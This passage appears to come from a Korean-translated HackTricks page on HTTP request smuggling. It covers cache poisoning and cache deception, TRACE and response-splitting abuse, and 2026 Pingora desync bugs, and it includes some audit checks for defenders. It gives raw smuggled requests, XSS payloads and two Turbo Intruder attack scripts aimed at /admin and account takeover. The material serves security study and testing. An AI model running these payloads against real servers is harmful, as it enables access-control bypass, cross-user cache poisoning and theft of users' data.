/post/next?postId=3를 대상으로 하는 임베디드 request에 주목하세요. 이 request는 Host header value를 사용해 domain을 결정하여 /post?postId=4로 redirect됩니다. Host header를 변경함으로써 공격자는 request를 자신의 domain으로 redirect할 수 있습니다(on-site redirect to open redirect).

성공적인 socket poisoning 이후, /static/include.js에 대한 GET request가 시작되어야 합니다. 이 request는 앞선 on-site redirect to open redirect request의 영향을 받아 오염되며, 공격자가 제어하는 script의 content를 가져오게 됩니다.

그 후에는 /static/include.js에 대한 어떤 request든 공격자의 script가 담긴 cached content를 제공하게 되어, 사실상 광범위한 XSS attack을 실행하게 됩니다.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

공격자는 sensitive user-specific content를 가져오는 smuggled request를 만듭니다. 다음 예시를 보세요:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

이 smuggled request가 정적 콘텐츠를 위한 cache entry(예: /someimage.png)를 오염시키면, /private/messages의 피해자 민감 데이터가 정적 콘텐츠의 cache entry 아래에 cached될 수 있습니다. 결과적으로 공격자는 이 cached된 민감 데이터를 가져올 수 있습니다.

HTTP Request Smuggling을 통한 TRACE 악용

이 글에서는 서버에서 method TRACE가 enabled되어 있다면 HTTP Request Smuggling으로 이를 악용할 수 있을 수 있다고 제안합니다. 이는 이 method가 서버로 전송된 어떤 header든 response의 body의 일부로 reflect하기 때문입니다. 예를 들어:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

다음과 같은 응답을 보낼 것입니다:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

이 동작을 악용하는 예로는 먼저 HEAD 요청을 smuggle 하는 것이다. 이 요청에는 GET 요청의 헤더만 응답되며(Content-Type 포함). 그리고 바로 뒤에 TRACE 요청을 smuggle 하면, 이 요청은 전송된 데이터를 반영한다.
HEAD 응답에는 Content-Length 헤더가 포함되므로, TRACE 요청의 응답은 HEAD 응답의 body로 처리되어, 응답에 임의의 데이터를 반영하게 된다.
이 응답은 연결의 다음 요청으로 전송되므로, 예를 들어 cached JS file에 사용되어 임의의 JS code를 주입하는 데 사용할 수 있다.

HTTP Response Splitting을 통한 TRACE 악용

이 글에서는 TRACE method를 악용하는 또 다른 방법을 제안한다. 설명했듯이, HEAD 요청과 TRACE 요청을 smuggle하면 HEAD 요청의 응답에서 일부 reflected data를 제어할 수 있다. HEAD 요청의 body 길이는 기본적으로 Content-Length 헤더에 의해 표시되며 TRACE 응답에 의해 구성된다.

따라서 새로운 아이디어는, 이 Content-Length와 TRACE 응답에서 주어진 데이터를 알고 있다면, TRACE 응답이 Content-Length의 마지막 바이트 뒤에 유효한 HTTP response를 포함하도록 만들 수 있다는 것이다. 이를 통해 공격자는 다음 response에 대한 요청을 완전히 제어할 수 있으며(이를 cache poisoning에 사용할 수 있다).

예시:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

이러한 응답을 생성합니다(HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD body의 일부가 되고, HEAD Content-Length가 끝나면 유효한 HTTP 응답이 smuggled됨에 주의하세요):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Response Desynchronisation을 이용한 HTTP Request Smuggling 무기화

HTTP Request Smuggling 취약점을 찾았지만 어떻게 exploit할지 모르겠나요. 다른 exploitation 방법을 시도해보세요:

HTTP Response Smuggling / Desync

다른 HTTP Request Smuggling 기법

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • HTTP/2 Downgrades에서의 Request Smuggling

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Several 2026 Pingora bugs are useful because they show classic CL.TE / TE.CL를 넘어서는 desync primitives를 보여주기 때문입니다. 재사용 가능한 교훈은 다음과 같습니다: proxy가 너무 일찍 parsing을 멈추거나, Transfer-Encoding을 backend와 다르게 normalize하거나, 또는 request body에 대해 read-until-close로 fallback하면, 전통적인 CL/TE ambiguity가 없어도 FE↔BE desync가 발생할 수 있습니다.

Premature Upgrade passthrough

만약 reverse proxy가 Upgrade header를 보는 즉시 backend가 **101 Switching Protocols**로 전환을 확인하기 전에 raw tunnel / passthrough mode로 바뀐다면, 같은 TCP stream에 두 번째 request를 smuggle할 수 있습니다:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

프론트엔드는 첫 번째 request만 parse한 다음, 나머지는 raw bytes로 전달한다. backend는 appened된 bytes를 proxy의 trusted IP에서 온 새로운 request로 parse한다. 이는 특히 다음에 유용하다:

  • proxy ACLs, WAF rules, auth checks, rate limits를 bypass하기.
  • reverse proxy IP를 trust하는 internal-only endpoints에 도달하기.
  • 재사용된 backend connections에서 cross-user response queue poisoning을 트리거하기.

proxies를 audit할 때는 항상 any Upgrade value가 passthrough를 트리거하는지 테스트하고, 전환이 backend가 101으로 reply하기 인지 인지 확인하라.

Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback

또 다른 유용한 pattern은 다음과 같다:

  1. proxy가 Transfer-Encoding이 존재하는 것을 확인하면 Content-Length를 strip한다.
  2. proxy가 TE를 올바르게 normalize하는 데 실패한다.
  3. proxy는 이제 인식된 framing이 없고, HTTP/1.0에 대해 close-delimited request bodies로 fallback한다.
  4. backend는 TE를 올바르게 이해하고 0\r\n\r\n 뒤의 bytes를 새로운 request로 처리한다.

이를 trigger하는 일반적인 방법은 다음과 같다:

  • Comma-separated TE list not parsed:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Duplicate TE headers not merged:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

중요한 audit checks는 다음과 같습니다:

  • front-end가 chunked가 마지막일 때 요구되는 대로 마지막 TE token을 파싱하는가?
  • 첫 번째 Transfer-Encoding header만이 아니라 모든 Transfer-Encoding headers를 사용하는가?
  • HTTP/1.0을 강제로 사용해서 read-until-close body mode를 트리거할 수 있는가?
  • proxy가 close-delimited request bodies를 허용하는가? 이것만으로도 높은 가치의 desync smell입니다.

이 class는 겉보기에는 종종 CL.TE처럼 보이지만, 실제 primitive는 다음입니다: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

같은 Pingora audit는 또 다른 위험한 reverse-proxy cache anti-pattern도 드러냈습니다: cache key를 URI path만으로 만들고 Host, scheme, port는 무시하는 방식입니다. multi-tenant 또는 multi-vhost deployment에서는 서로 다른 host가 같은 cache entry에서 충돌할 수 있습니다:

GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com

두 요청이 같은 cache key(/api/data)에 매핑되면, 한 tenant가 다른 tenant의 content를 poison할 수 있습니다. origin이 redirects, CORS, HTML, 또는 script URLs에서 Host header를 반영한다면, 가치가 낮은 Host reflection도 cross-user stored cache poisoning이 될 수 있습니다.

cache를 검토할 때, key에 최소한 다음이 포함되는지 확인하세요:

  • Host / virtual host identity
  • 동작이 다를 때 scheme (http vs https)
  • 여러 application이 같은 cache namespace를 공유할 때 port

Tools

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기